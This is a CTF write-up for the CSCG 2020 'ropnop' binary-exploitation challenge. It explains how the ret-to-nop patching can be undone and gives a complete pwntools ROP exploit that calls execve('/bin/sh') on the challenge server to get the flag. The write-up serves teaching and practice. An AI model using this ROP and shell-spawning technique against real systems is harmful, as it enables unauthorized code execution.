CSCG 2020: ropnop


The binary and the sourc code are given.

First we take a look at the source code.

// clang -fno-stack-protector ./ropnop.c -o ropnop

#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

extern unsigned char __executable_start;
extern unsigned char etext;


void init_buffering() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}


void gadget_shop() {
	// look at all these cool gadgets
	__asm__("syscall; ret");
	__asm__("pop %rax; ret");
	__asm__("pop %rdi; ret");
	__asm__("pop %rsi; ret");
	__asm__("pop %rdx; ret");
}

void ropnop() {
	unsigned char *start = &__executable_start;
	unsigned char *end = &etext;
	printf("[defusing returns] start: %p - end: %p\n", start, end);
	mprotect(start, end-start, PROT_READ|PROT_WRITE|PROT_EXEC);
	unsigned char *p = start;
	while (p != end) {
		// if we encounter a ret instruction, replace it with nop!
		if (*p == 0xc3)
			*p = 0x90;
		p++;
	}
}

int main(void) {
	init_buffering();
	ropnop();
	int* buffer = (int*)&buffer;
	read(0, buffer, 0x1337);
	return 0;
}

There is a function called gadget_shop() which may be a help to provide useful gadgets for a rop chain. There is no call to this function. The function ropnop() leaks the two pointers __executable_start and etext. I never heard of those pointers, so i looked them up. Here i could find a explanation that they are pointing to the start of the binary and the end of the text section. After the leak a mprotect call is made to allow reading writing and between these pointers. Then a loop iterates over each byte starting from the start to the end pointer. If the byte is a return instruction (0xc3) it gets replaced by a nop instruction(0x90). In the main functionropnop() is called. After that the pointer buffer is initialized. As I looked at the code the first time I wondered, that this program can be compiled. In this line a pointer pointing to itself is created. After that 0x1337 bytes are read to this pointer.

There is no real buffer, but we get a buffer overflow from that read. The data are are written in the pointer. The returns are noped out in the loop in ropnop, but the compare to the return instruction is also overwritten with a nop.Therefore in the following iterations instead of the return statement the nop statement is replaced with nop. The gadgets after the loop are available.

Finding remaining gadgets

To find remaining gadgets we break after the call to ropnop() and search for remaining returns in the binary.

gef➤  search-pattern 0xc3 little 0x0000555555554000-0x0000555555558000
search-pattern 0xc3 little 0x55a981c64000-0x55a981c65375

[+] Searching '\xc3' in 0x55a981c64000-0x55a981c65375
[+] In '/home/simon/git/CTF/CSCG_2020/pwn/ropnop/ropnop'(0x55a981c64000-0x55a981c65000), permission=rwx
  0x55a981c6529b - 0x55a981c6529f  →   "\xc3[...]"
  0x55a981c652e1 - 0x55a981c652e5  →   "\xc3[...]"
  0x55a981c652f9 - 0x55a981c652fd  →   "\xc3[...]"
  0x55a981c6533f - 0x55a981c65343  →   "\xc3[...]"
  0x55a981c65354 - 0x55a981c65358  →   "\xc3[...]"
  0x55a981c65364 - 0x55a981c65368  →   "\xc3[...]"
  0x55a981c65374 - 0x55a981c65378  →   "\xc3[...]"

To get the gadget, we have to look at the instructions directly before the retrun instruction. The following gadget looks interesting.

0x000055a981c652cf <+47>:   call   0x55a981c65040 <read@plt>        
0x000055a981c652d4 <+52>:   xor    ecx,ecx
0x000055a981c652d6 <+54>:   mov    QWORD PTR [rbp-0x18],rax
0x000055a981c652da <+58>:   mov    eax,ecx
0x000055a981c652dc <+60>:   add    rsp,0x20
0x000055a981c652e0 <+64>:   pop    rbp
0x000055a981c652e1 <+65>:   ret

With this gadget from the main we can get an arbitrary write. We pop the target address + 0x18 to rbp. Then we write the number of bytes read (the return of the read function) with QWORD PTR [rbp-0x18],rax to the target address we specified. But we have a limit, because we can only wirte values between 0 and 0x1337 because this is the maximum size we can read.

Repairing the gadget shop

Because we are in little-endian if we can write 0x90 to a address, the 0x90 will be the first byte followed by null bytes. Therefore we can simply write a return statement at the end of our gadget shop. This gives us the whole gadget shop as one single gadget.

So we pop the address at the end of the gadget shop into rbp, then read with a new 0xc3 bytes to get a ret instruction. These are written with the arbitrary write gadget. After that, the gadget shop looks like this:

gef➤  pdisass gadget_shop
0x000055a981c651e0 <+0>:    push   rbp
0x000055a981c651e1 <+1>:    mov    rbp,rsp
0x000055a981c651e4 <+4>:    syscall
0x000055a981c651e6 <+6>:    nop
0x000055a981c651e7 <+7>:    pop    rax
0x000055a981c651e8 <+8>:    nop
0x000055a981c651e9 <+9>:    pop    rdi
0x000055a981c651ea <+10>:   nop
0x000055a981c651eb <+11>:   pop    rsi
0x000055a981c651ec <+12>:   nop
0x000055a981c651ed <+13>:   pop    rdx
0x000055a981c651ee <+14>:   nop
0x000055a981c651ef <+15>:   ret

Spawning a shell using the gadget shop

First we need a address of /bin/sh so we make another read syscall to an writeable address (I used the binary base) inorder to read /bin/sh from stdin. Then we are able to call execve("/bin/sh", 0, 0) using the pops and then the syscall from gadget shop.

Here is the full exploit:

#!/usr/bin/python3.7

from pwn import *
context.arch = 'amd64'
context.bits = 64

chal = './ropnop'

p = remote('hax1.allesctf.net', 9300)

e = ELF(chal)

p.recvuntil(b'[defusing returns] start: ')
binary_base = int(p.recvuntil(b' ')[:-1], 16)
log.info('leaked binary %s' % hex(binary_base))
p.recv()

# gadget
"""
0x000055a981c652cf <+47>:   call   0x55a981c65040 
0x000055a981c652d4 <+52>:   xor    ecx,ecx
0x000055a981c652d6 <+54>:   mov    QWORD PTR [rbp-0x18],rax
0x000055a981c652da <+58>:   mov    eax,ecx
0x000055a981c652dc <+60>:   add    rsp,0x20
0x000055a981c652e0 <+64>:   pop    rbp
0x000055a981c652e1 <+65>:   ret
"""

writeaddr = binary_base +  0x11ef + 0x18 # add 0x18 because of gadget
read_gadget = binary_base + 0x12cf
write_gadget = binary_base + 0x12d4
pop_gadget = binary_base + 0x11e7
syscall_gadget = binary_base + 0x11e4
asm_return = 0xc3

rop = b''
rop += p64(0xdeadbeefdeadbeef)*2
rop += p64(writeaddr)
rop += p64(read_gadget)
p.sendline(rop)
input()

rop = b''
rop += p64(0xdeadbeefdeadbeef)*2
rop += p64(writeaddr)
rop += p64(write_gadget)
rop += p64(0xdeadbeefdeafbeef)*4
rop += p64(read_gadget)

# read /bin/sh to binary base 
# call read(0, binary_base, 0x1337);
#    rax=0 rdi    rsi       rdx
rop += p64(pop_gadget)
rop += p64(0) #pop rax
rop += p64(0) #pop rdi
rop += p64(binary_base) #pop rsi
rop += p64(0x1337) #pop rdx
rop += p64(syscall_gadget)

# call execve("/bin/sh", 0, 0)
#      rax=59   rdi    rsi rdx
rop += p64(59) #pop rax
rop += p64(binary_base) #pop rdi
rop += p64(0) #pop rsi
rop += p64(0) #pop rdx
rop += p64(syscall_gadget)
rop += b'/bin/sh\x00'

p.sendline(rop + b'A'*(asm_return-len(rop)-1))
input()
p.sendline(b'/bin/sh\x00')
p.interactive()

This gives us the shell and the flag CSCG{s3lf_m0d1fy1ng_c0dez!}.